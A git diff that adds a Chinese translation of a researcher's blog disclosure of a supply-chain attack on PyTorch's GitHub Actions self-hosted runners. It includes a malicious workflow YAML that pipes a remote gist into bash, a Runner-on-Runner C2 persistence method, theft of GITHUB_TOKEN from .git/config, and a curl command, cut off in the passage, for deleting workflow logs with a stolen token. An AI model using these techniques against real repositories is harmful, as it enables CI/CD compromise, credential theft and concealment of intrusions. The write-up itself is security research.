diff --git a/images/20240118_supply_chain_attack_on_pytorch_aws.png b/images/20240118_supply_chain_attack_on_pytorch_aws.png new file mode 100644 index 0000000000..f4e3d934f3 Binary files /dev/null and b/images/20240118_supply_chain_attack_on_pytorch_aws.png differ diff --git a/images/20240118_supply_chain_attack_on_pytorch_aws_contents.png b/images/20240118_supply_chain_attack_on_pytorch_aws_contents.png new file mode 100644 index 0000000000..3a6667a7fb Binary files /dev/null and b/images/20240118_supply_chain_attack_on_pytorch_aws_contents.png differ diff --git a/images/20240118_supply_chain_attack_on_pytorch_aws_credentials.png b/images/20240118_supply_chain_attack_on_pytorch_aws_credentials.png new file mode 100644 index 0000000000..8efebdf1cd Binary files /dev/null and b/images/20240118_supply_chain_attack_on_pytorch_aws_credentials.png differ diff --git a/images/20240118_supply_chain_attack_on_pytorch_fake_release.png b/images/20240118_supply_chain_attack_on_pytorch_fake_release.png new file mode 100644 index 0000000000..55d4520065 Binary files /dev/null and b/images/20240118_supply_chain_attack_on_pytorch_fake_release.png differ diff --git a/images/20240118_supply_chain_attack_on_pytorch_full_attack_path.png b/images/20240118_supply_chain_attack_on_pytorch_full_attack_path.png new file mode 100644 index 0000000000..c375a5db41 Binary files /dev/null and b/images/20240118_supply_chain_attack_on_pytorch_full_attack_path.png differ diff --git a/images/20240118_supply_chain_attack_on_pytorch_get_pats.png b/images/20240118_supply_chain_attack_on_pytorch_get_pats.png new file mode 100644 index 0000000000..7f131eaf3e Binary files /dev/null and b/images/20240118_supply_chain_attack_on_pytorch_get_pats.png differ diff --git a/images/20240118_supply_chain_attack_on_pytorch_get_permissions.png b/images/20240118_supply_chain_attack_on_pytorch_get_permissions.png new file mode 100644 index 0000000000..36a829f579 Binary files /dev/null and b/images/20240118_supply_chain_attack_on_pytorch_get_permissions.png differ diff --git a/images/20240118_supply_chain_attack_on_pytorch_grammar_police.png b/images/20240118_supply_chain_attack_on_pytorch_grammar_police.png new file mode 100644 index 0000000000..aa2ff3f981 Binary files /dev/null and b/images/20240118_supply_chain_attack_on_pytorch_grammar_police.png differ diff --git a/images/20240118_supply_chain_attack_on_pytorch_pats_access.png b/images/20240118_supply_chain_attack_on_pytorch_pats_access.png new file mode 100644 index 0000000000..55dc862492 Binary files /dev/null and b/images/20240118_supply_chain_attack_on_pytorch_pats_access.png differ diff --git a/images/20240118_supply_chain_attack_on_pytorch_ror_c2.png b/images/20240118_supply_chain_attack_on_pytorch_ror_c2.png new file mode 100644 index 0000000000..77e79061ec Binary files /dev/null and b/images/20240118_supply_chain_attack_on_pytorch_ror_c2.png differ diff --git a/images/20240118_supply_chain_attack_on_pytorch_wait_config.png b/images/20240118_supply_chain_attack_on_pytorch_wait_config.png new file mode 100644 index 0000000000..a16b0cc8de Binary files /dev/null and b/images/20240118_supply_chain_attack_on_pytorch_wait_config.png differ diff --git a/images/20240118_supply_chain_attack_on_pytorch_workflow_approval.png b/images/20240118_supply_chain_attack_on_pytorch_workflow_approval.png new file mode 100644 index 0000000000..10e157e6bc Binary files /dev/null and b/images/20240118_supply_chain_attack_on_pytorch_workflow_approval.png differ diff --git a/images/20240118_supply_chain_attack_on_pytorch_workflow_log.png b/images/20240118_supply_chain_attack_on_pytorch_workflow_log.png new file mode 100644 index 0000000000..8b57ce7865 Binary files /dev/null and b/images/20240118_supply_chain_attack_on_pytorch_workflow_log.png differ diff --git a/images/20240118_supply_chain_attack_on_pytorch_workflow_weekly.png b/images/20240118_supply_chain_attack_on_pytorch_workflow_weekly.png new file mode 100644 index 0000000000..8fd5809073 Binary files /dev/null and b/images/20240118_supply_chain_attack_on_pytorch_workflow_weekly.png differ diff --git a/source/_posts/2023-12-28-black_hat_SEO.md b/source/_posts/2023-12-28-black_hat_SEO.md index fa7a75e1af..5e85bb2329 100644 --- a/source/_posts/2023-12-28-black_hat_SEO.md +++ b/source/_posts/2023-12-28-black_hat_SEO.md @@ -4,7 +4,7 @@ tags: - 见闻 - google - 方法 -category: 项目实战 +category: 社会百态 toc: true description: 最近Google搜索结果第一页出现黑产引流页面,通过分析页面内容、套餐方案等透露黑产利用Google Map投放大量关键词页面,实现搜索结果黑灰产优化。虽然部分已被封禁,但手段值得警惕,Google搜索质量也面临巨大挑战。 date: 2023-12-28 20:26:37 diff --git a/source/_posts/2024-01-18-supply_chain_attack_on_pytorch.md b/source/_posts/2024-01-18-supply_chain_attack_on_pytorch.md new file mode 100644 index 0000000000..31439c2970 --- /dev/null +++ b/source/_posts/2024-01-18-supply_chain_attack_on_pytorch.md @@ -0,0 +1,341 @@ +--- +title: 我们是如何对 PyTorch 发起供应链攻击的 (译文) +tags: + - 思考 + - 方法 +category: 计算机网络 +toc: true +date: 2024-01-18 16:06:20 +description: 详细披露了作者如何对 PyTorch 实施高级供应链攻击的过程。他们发现了一个严重的GitHub Actions漏洞,通过提交恶意PR 获得了 PyTorch 自托管运行环境的控制权,进而窃取 GitHub 令牌与 AWS 密钥、隐藏攻击痕迹、篡改代码库与发布等。作者还讨论了这类攻击的影响、存在的风险,以及应采取的缓解措施。 +--- + +安全问题通常滞后于技术的普及,而人工智能 (AI) 领域亦是如此。 + +四个月前,我和 [Adnan Khan](https://adnanthekhan.com/) 利用了 [PyTorch](https://github.com/pytorch/pytorch) 的一个严重 CI/CD 漏洞,PyTorch 是全球领先的机器学习平台之一。它不仅被谷歌、Meta、波音和洛克希德·马丁等行业巨擘所使用,也因此成为黑客和各国政府的重点攻击对象。 + +幸运的是,我们在不法分子之前发现并利用了这个漏洞。 + +接下来是我们的操作过程。 + +> 原文地址:[PLAYING WITH FIRE – HOW WE EXECUTED A CRITICAL SUPPLY CHAIN ATTACK ON PYTORCH](https://johnstawinski.com/2024/01/11/playing-with-fire-how-we-executed-a-critical-supply-chain-attack-on-pytorch/) + + + +## 背景 + +在详细讲述之前,先来了解一下为何我和 Adnan 会关注机器学习的代码仓库。原因并非出于对神经网络的好奇。实际上,我对神经网络了解有限,不足以去深入研究。 + +PyTorch 是我和 Adnan 六个月前开始的探索之旅的起点。这段旅程始于我们在 2023 年夏季进行的 CI/CD 研究和漏洞开发。Adnan 最初通过这些攻击手段,在 [GitHub 中发现了一个重大漏洞](https://adnanthekhan.com/2023/12/20/one-supply-chain-attack-to-rule-them-all/),成功植入了 GitHub 和 Azure 的所有运行器镜像的后门,并因此获得了 2 万美元的奖金。在这次攻击之后,我们联手寻找其他存在漏洞的仓库。 + +我们的研究成果让所有人,包括我们自己,都感到意外。我们连续**对多个领先的机器学习平台、[价值数十亿美元的区块链](https://johnstawinski.com/2024/01/05/worse-than-solarwinds-three-steps-to-hack-blockchains-github-and-ml-through-github-actions/)等实施了供应链攻击**。自从我们发布了最初的博客文章后的七天内,这些内容在安全领域引起了广泛关注。 + +但你可能不是来这里了解我们的研究历程,而是想知道我们对 PyTorch 的攻击细节。让我们开始吧。 + +## 攻击的影响 + +我们的攻击路径使我们能够在 GitHub 上上传恶意的 PyTorch 版本,将版本上传至 AWS,甚至可能向主仓库分支添加代码,对 PyTorch 的依赖项植入后门 —— 这只是冰山一角。**总而言之,情况非常严重**。 + +正如我们在 [SolarWinds](https://www.techtarget.com/whatis/feature/SolarWinds-hack-explained-Everything-you-need-to-know)、[Ledger](https://www.coindesk.com/consensus-magazine/2023/12/14/what-we-know-about-the-massive-ledger-hack/) 等案例中看到的那样,像这种供应链攻击对攻击者来说极具杀伤力。**拥有这样的访问权限,任何一个有实力的国家都能找到多种方式来攻击 PyTorch 的供应链**。 + +## GitHub Actions 简介 + +要充分理解我们的攻击手段,首先需要了解 GitHub Actions。如果想跳读某部分内容,也是可以的。 + +如果你对 GitHub Actions 或类似的持续集成/持续交付 (CI/CD) 平台不太熟悉,建议你在继续阅读前[先做些功课](https://docs.github.com/en/actions/learn-github-actions/understanding-github-actions)。如果阅读过程中遇到不懂的技术,上网搜索一下总是好的。我通常喜欢从基础知识讲起,但要完整讲解所有的 CI/CD 过程可是一项浩大工程。 + +简单来说,**GitHub Actions 允许用户在 CI/CD 过程中执行工作流里设定的代码。** + +比如,如果 PyTorch 想在有 GitHub 用户提交 Pull Request 时进行一系列测试,它可以在一个 YAML 工作流文件中定义这些测试,并配置 GitHub Actions 来在 pull_request 触发时执行。这样,每当有 Pull Request 提交时,就会自动在一个运行环境中执行这些测试。通过这种方式,仓库的维护者就无需在合并代码前手动对每份代码进行测试。 + +PyTorch 的公共仓库在 CI/CD 中大量使用 GitHub Actions。实际上,用“大量”来形容都显得不足。PyTorch 拥有超过 70 个不同的 GitHub 工作流,平均每小时运行超过十个。我们此次行动中的一个挑战是在众多工作流中筛选出我们感兴趣的那些。 + +GitHub Actions 的工作流在两种类型的构建运行环境中执行:一种是由 GitHub 维护并托管的托管运行环境;另一种是自托管的运行环境。 + +### 自托管运行环境 + +自托管运行环境指的是最终用户在自己的基础设施上托管的构建代理服务器,运行着 Actions 运行器代理。简单来说,自托管运行环境就是配置了运行 GitHub 工作流的机器、虚拟机或容器,这些工作流属于某个 GitHub 组织或仓库。保证这些运行环境的安全和维护责任在于最终用户,而非 GitHub。因此,GitHub 通常不推荐在公开仓库上使用自托管运行环境。**但似乎并非所有人都遵循这一建议**,甚至[连 GitHub 自己也是如此](https://adnanthekhan.com/2023/12/20/one-supply-chain-attack-to-rule-them-all/)。 + +GitHub 的一些默认设置在安全性方面并不理想。默认情况下,一旦自托管运行环境与某个仓库关联,那个仓库的任何工作流都可以使用这个运行环境。同样的设置也适用于来自 Fork 的 pull request 中的工作流。需要注意的是,任何人都可以向公开的 GitHub 仓库提交 Fork pull request,包括你自己。这意味着,在默认设置下,任何仓库贡献者都能通过提交恶意的 PR 在自托管运行环境上执行代码。 + +注:在 GitHub 仓库中,“贡献者”指的是向该仓库提交过代码的人。通常,人们通过提交被合并到默认分支的 PR 来成为贡献者。这一点稍后会详细讨论。 + +如果按照默认步骤配置自托管运行环境,那么它将是非一次性的。这意味着恶意工作流可以启动一个在任务完成后依然运行的后台进程,文件的修改(例如路径上的程序等)也会在当前工作流之后持续存在。**这还意味着未来的工作流将在同一运行环境上运行**。 + +## 发现漏洞 + +### 识别自托管运行环境 + +为了找出自托管运行环境,我们运行了 [Gato](https://github.com/praetorian-inc/gato),这是由 [Praetorian](https://www.praetorian.com/) 开发的 GitHub 攻击与利用工具。Gato 能够通过分析 GitHub 工作流文件和运行日志,确定仓库中是否存在自托管运行环境。 + +Gato 发现了 PyTorch 仓库中使用的几个持久性自托管运行环境。我们通过查看仓库的工作流日志来验证了 Gato 的发现。 + +![Github 工作流日志验证自托管](https://slefboot-1251736664.file.myqcloud.com/20240118_supply_chain_attack_on_pytorch_workflow_log.png) + +名为 “worker-rocm-amd-30” 的运行环境表明其为自托管类型。 + +### 确认工作流审批的要求 + +虽然 PyTorch 使用自托管运行环境,但还有一个重要因素可能成为我们的阻碍。 + +默认情况下,来自 Fork PRs 的工作流执行仅对那些尚未向仓库贡献过代码的账户要求审批。然而,存在一个选项,可以要求对所有 Fork PRs 进行工作流审批,包括之前的贡献者。我们便开始检查这项设置的状态。 + +![Github 工作流日志验证自托管](https://slefboot-1251736664.file.myqcloud.com/20240118_supply_chain_attack_on_pytorch_workflow_approval.png) + +在查看 PR 历史时,我们注意到,之前的贡献者提交的一些 PR 触发了 pull_request 工作流,且无需审批。这表明该仓库并不要求对之前贡献者的 Fork PRs 进行工作流审批。我们找到了关键线索。 + +尽管这个 Fork PR 工作流没有得到批准,但 `Lint / quick-checks / linux-job` 工作流在 pull_request 事件触发时仍然运行,这表明默认的审批设置很可能已经启用。 + +### 探索潜在影响 + +在发起攻击之前,我们通常会先确认,在登陆运行环境后,我们可能能够窃取哪些 GitHub 密钥。工作流文件显示了 PyTorch 使用的一些 GitHub 密钥,包括但不限于: + +- “aws-pytorch-uploader-secret-access-key” +- “aws-access-key-id” +- “GH_PYTORCHBOT_TOKEN”(GitHub 个人访问令牌) +- “UPDATEBOT_TOKEN”(GitHub 个人访问令牌) +- “conda-pytorchbot-token” + +当我们发现 `GH_PYTORCHBOT_TOKEN` 和 `UPDATEBOT_TOKEN` 时,我们异常兴奋。**个人访问令牌 (PAT) 是发动供应链攻击的最有力工具之一。** + +利用自托管运行环境窃取 GitHub 密钥并非总是可行的。我们的许多研究集中在自托管运行环境的后期利用上,即探索如何从运行环境获取到密钥的方法。PyTorch 提供了一个绝佳的机会,让我们在实际环境中测试这些技术。 + +## 发起攻击 + +### 纠正一个拼写错误 + +为了成为 PyTorch 仓库的贡献者并执行工作流,我们并不打算花时间去为 PyTorch 增加新功能。反而,我们发现了 markdown 文件中的一个打字错误并进行了修正。**又一次给“语法警察”加分了**。 + +![语法警察的又一次胜利](https://slefboot-1251736664.file.myqcloud.com/20240118_supply_chain_attack_on_pytorch_grammar_police.png) + +没错,我又用到了我[上篇文章](https://johnstawinski.com/2024/01/05/worse-than-solarwinds-three-steps-to-hack-blockchains-github-and-ml-through-github-actions/)中的那个梗,但它实在太合适了。 + +### 编写工作流配置 + +现在,我们需要编写一个工作流的内容,以实现在自托管运行环境中的持久化。红队成员都明白,在生产环境中实现持久化远非反向 Netcat shell 那么简单,尤其是在大型企业环境,可能会涉及到**端点检测与响应** (EDR)、防火墙、数据包检查等复杂因素。 + +我们在策划这些攻击时,思考了一个问题 — 我们能用哪种指挥和控制(C2)方式来确保能绕过 EDR,并且不会被任何防火墙阻挡?答案既明显又巧妙 — **我们可以安装一个额外的自托管 GitHub 运行环境,并将其连接到我们自己的私有 GitHub 组织中。** + +我们的 “**Runner on Runner**” (RoR) 技术利用与现有运行环境相同的服务器进行指挥和控制,我们部署的唯一二进制文件是已在系统上运行的官方 GitHub 运行器代理。这样一来,EDR 和防火墙保护就无效了。 + +我们编写了一个脚本来自动完成运行环境的注册过程,并将其作为恶意工作流有效载荷。我们把有效内容保存在 GitHub 上的一个代码片段 (gist) 中,并提交了一个恶意的草稿 PR。修改后的工作流大致如下: + +```yaml +name: “🚨 pre-commit” +run-name: “Refactoring and cleanup” +on: + pull_request: + branches: main +jobs: + build: + name: Linux ARM64 + runs-on: ${{ matrix.os }} + strategy: + matrix: + os: [ + {system: “ARM64”, name: “Linux ARM64”}, + {system: “benchmark”, name: “Linux Intel”}, + {system: “glue-notify”, name: “Windows Intel”} + ] + steps: + – name: Lint Code Base + continue-on-error: true + env: + VERSION: ${{ matrix.version }} + SYSTEM_NAME: ${{ matrix.os }} + run: curl | bash +``` + +这个工作流在 PyTorch 的三个自托管运行环境上执行了 RoR gist 有效载荷,分别是名为 “ARM64” 的 Linux ARM64 机器、“benchmark” 的 Intel 设备,以及 “glue-notify” 的 Windows 系统。 + +通过设置为草稿状态,我们确保了仓库的维护者不会接收到任何通知。不过,鉴于 PyTorch 的 CI/CD 环境之复杂,即便他们没有察觉这一点,我也不会感到意外。我们提交了 PR,并在每个自托管运行环境中部署了我们的 RoR C2。 + +![成功安装 RoR C2](https://slefboot-1251736664.file.myqcloud.com/20240118_supply_chain_attack_on_pytorch_ror_c2.png) + +我们利用 C2 仓库在标记为 “jenkins-worker-rocm-amd-34” 的运行环境上执行了 `pwd && ls && /home && ip a` 命令,以此确认了 C2 的稳定性和远程代码的执行能力。此外,我们还运行了 sudo -l 命令,以确认我们具有 root 访问权限。 + +## 后期攻击阶段 + +现在我们控制了一个具有 root 权限的自托管运行环境。那又如何呢?我们曾看过关于在自托管运行环境上实现远程代码执行 (RCE) 的报告,但它们常因不明确的影响而得到模糊的回应。考虑到这些攻击的复杂性,我们想要展示对 PyTorch 的实际影响,以确保他们重视我们的发现。此外,我们还有一些新的后期攻击技术,一直想尝试一下。 + +### 密钥窃取 + +在云环境和 CI/CD 环境中,**密钥极为关键**。在我们的后期攻击研究中,我们专注于攻击者能够窃取并利用的密钥信息,这些信息通常存储在自托管运行环境的配置中。大多数窃取密钥的行动都是从 GITHUB_TOKEN 开始的。 + +### 神奇的 GITHUB_TOKEN + +通常,工作流需要将 GitHub 仓库检出到运行环境的文件系统中,无论是为了运行仓库中定义的测试,提交更改,还是发布新版本。工作流可以使用 GITHUB_TOKEN 来认证 GitHub 并执行这些操作。GITHUB_TOKEN 的权限范围可能从只读访问到对仓库的广泛写入权限。 + +PyTorch 有一些使用 actions/checkout 步骤和具有写入权限的 GITHUB_TOKEN 的工作流。例如,通过搜索工作流日志,我们发现 periodic.yml 工作流也在 “jenkins-worker-rocm-amd-34” 这个自托管运行环境上运行。日志证实了这个工作流使用了具有广泛写入权限的 GITHUB_TOKEN。 + +![工作流日志能看到有写权限](https://slefboot-1251736664.file.myqcloud.com/20240118_supply_chain_attack_on_pytorch_get_permissions.png) + +虽然这个令牌仅在特定构建期间有效,但我们开发了一些技巧,在你控制运行环境后可以延长构建时间(未来将详细介绍)。考虑到 PyTorch 仓库每天运行大量工作流,我们并不担心令牌过期,因为我们总能够获取到其他令牌。 + +当一个工作流使用 `actions/checkout` 步骤时,GITHUB_TOKEN 会在活动工作流期间存储在自托管运行环境上已检出仓库的 .git/config 文件中。由于我们控制了运行环境,我们只需等待一个带有特权 GITHUB_TOKEN 的非 PR 工作流在该环境上运行,然后提取 config 文件的内容。 + +![通过工作流拿到 config 文件内容](https://slefboot-1251736664.file.myqcloud.com/20240118_supply_chain_attack_on_pytorch_wait_config.png) + +**我们利用我们的 RoR C2 窃取了一个具有写入权限的正在进行的工作流的 GITHUB_TOKEN**。 + +### 掩盖攻击痕迹 + +我们首次使用 GITHUB_TOKEN 是为了清除我们恶意拉取请求产生的运行日志。我们想要有足够的时间进行后期攻击,同时避免因为我们的活动引发任何警报。我们利用 GitHub API 和令牌删除了我们 PR 触发的每个工作流的运行日志。如此一来,**我们的行动进入了隐蔽模式**。 + +```shell +curl -L \ + -X DELETE \ + -H “Accept: application/vnd.github+json” \ + -H “Authorization: Bearer $STOLEN_TOKEN” \ + -H “X-GitHub-Api-Version: 2022-11-28” \ +